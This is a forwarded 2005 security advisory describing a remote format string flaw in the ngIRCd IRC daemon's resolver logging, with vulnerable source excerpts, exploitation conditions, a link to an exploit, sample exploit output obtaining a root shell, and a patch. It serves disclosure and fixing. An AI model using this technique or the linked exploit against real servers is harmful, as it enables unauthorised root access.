For your information.
Regards Alex
Von: CoKi coki@nosystem.com.ar Datum: 3. Februar 2005 3:09:09 Uhr MEZ An: bugtraq@securityfocus.com Betreff: ngIRCd <= v0.8.2 Format String Vulnerability X-Mailer: MIME-tools 5.411 (Entity 5.404)
No System Group - Advisory #11 - 03/02/05
Program: ngIRCd Homepage: http://arthur.ath.cx/~alex/ngircd/ Operating System: Linux and Unix-Compatible Vulnerable Versions: ngIRCd v0.8.2 and prior Risk: High Impact: Remote Format String Vulnerability
- DESCRIPTION
ngIRCd is a portable IRC daemon written from scratch. It is easy to configure, supports server links (even with original ircds) and runs on hosts with changing IP addresses (such as dial-in networks). Currently supported platforms are AIX, A/UX, Darwin/Mac OS X, FreeBSD, HP-UX, IRIX, Linux, NetBSD, SunOS/Solaris, and Windows with Cygwin.
More informations at: http://arthur.ath.cx/~alex/ngircd/
- DETAILS
Exist a format string bug in the Log_Resolver() function of log.c when parses erroneous arguments to the syslog() function. This may give a remote shell with privileges of ngIRCd, it's 'root' by default.
----------- log.c ------------ 261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap ); 262: va_end( ap ); 263: 264: /* Output */ 265: if( NGIRCd_NoDaemon ) 266: { 267: /* Output to console */ 268: fprintf( stdout, "[%d:%d] %s\n", (INT)getpid( ), Level, msg ); 269: fflush( stdout ); 270: } 271: #ifdef SYSLOG 272: else syslog( Level, msg ); 273: #endif ----------- log.c ------------
Here we can look that exist a format string vulnerability in 272 line of log.c
- EXPLOIT
To obtain a successful exploitation, we need that ngIRCd has been compiled with IDENT, logging to SYSLOG and DEBUG enabled.
We now will look a part of the code of resolve.c:
----------- resolve.c ------------ 96: /* For sub-process */ 97: pid = fork( ); 98: if( pid > 0 ) 99: { 100: /* Main process */ 101: Log( LOG_DEBUG, "Resolver for %s created (PID %d).", inet_ntoa( Addr->sin_addr ), pid ); 102: FD_SET( s->pipe[0], &Resolver_FDs ); 103: if( s->pipe[0] > Conn_MaxFD ) Conn_MaxFD = s->pipe[0]; 104: s->pid = pid; 105: s->stage = 0; 106: s->bufpos = 0; 107: return s; 108: }
[...]
230: #ifdef IDENTAUTH 231: /* Do "IDENT" (aka "AUTH") lookup and write result to parent */ 232: Log_Resolver( LOG_DEBUG, "Doing IDENT lookup on socket %d ...", Sock ); 233: res = ident_id( Sock, 10 ); 234: Log_Resolver( LOG_DEBUG, "Ok, IDENT lookup on socket %d done: "%s"", Sock, res ? res : "" ); 235: 236: /* Write IDENT result into pipe to parent */ 237: len = strlen( res ? res : "" ); 238: if( res != NULL ) res[len] = '\n'; 239: len++; 240: if( (size_t)write( w_fd, res ? res : "\n", len ) != (size_t)len ) 241: { 242: Log_Resolver( LOG_CRIT, "Resolver: Can't write to parent (IDENT): %s!", strerror( errno )); 243: close( w_fd ); 244: } 245: free( res ); 246: #endif ----------- resolve.c ------------
At 97 lines of resolve.c we can see that is created a new process with fork() function, this will allow us to obtain the exact address of RET of automatic way without ircd dies. We can see too that this process do IDENT lookup when a host is connected to the ircd daemon, and using the vulnerable function for logging with syslog at 242 lines of this code.
I have written a code exploit that use this method for obtain a root shell in the target.
http://www.nosystem.com.ar/exploits/ngircd_fsexp.c
root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
ngIRCd <= 0.8.2 remote format string exploit by CoKi coki@nosystem.com.ar
[*] host : victim [*] system : Slackware Linux 10.0 [*] ircd version : ngircd-0.8.2.tar.gz [*] syslog GOT address : 0x08068094 [*] verifying host : 10.0.0.2
[*] trying RET address : 0x0806d710 (offset 10000) [*] building evil buffer : done! [*] running fake ident server : 0.0.0.0:113
[*] connecting to ircd... : 10.0.0.2:6667 connected [*] waiting for answer... : 10.0.0.1:43260 connected [*] sending evil ident... : done! [*] checking for shell... : done!
[!] you have a shell :)
Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flop py)
- SOLUTIONS
The patch is included here:
--- src/ngircd/log.c 2004-06-26 06:06:27.000000000 -0300 +++ src/ngircd/log.c.patch 2005-02-02 12:53:33.000000000 -0300 @@ -269,7 +269,7 @@ fflush( stdout ); } #ifdef SYSLOG
else syslog( Level, msg );
else syslog( Level, "%s", msg );#endif } /* Log_Resolver */
- REFERENCES
http://www.nosystem.com.ar/advisories/advisory-11.txt
- CREDITS
Discovered by CoKi coki@nosystem.com.ar
No System Group - http://www.nosystem.com.ar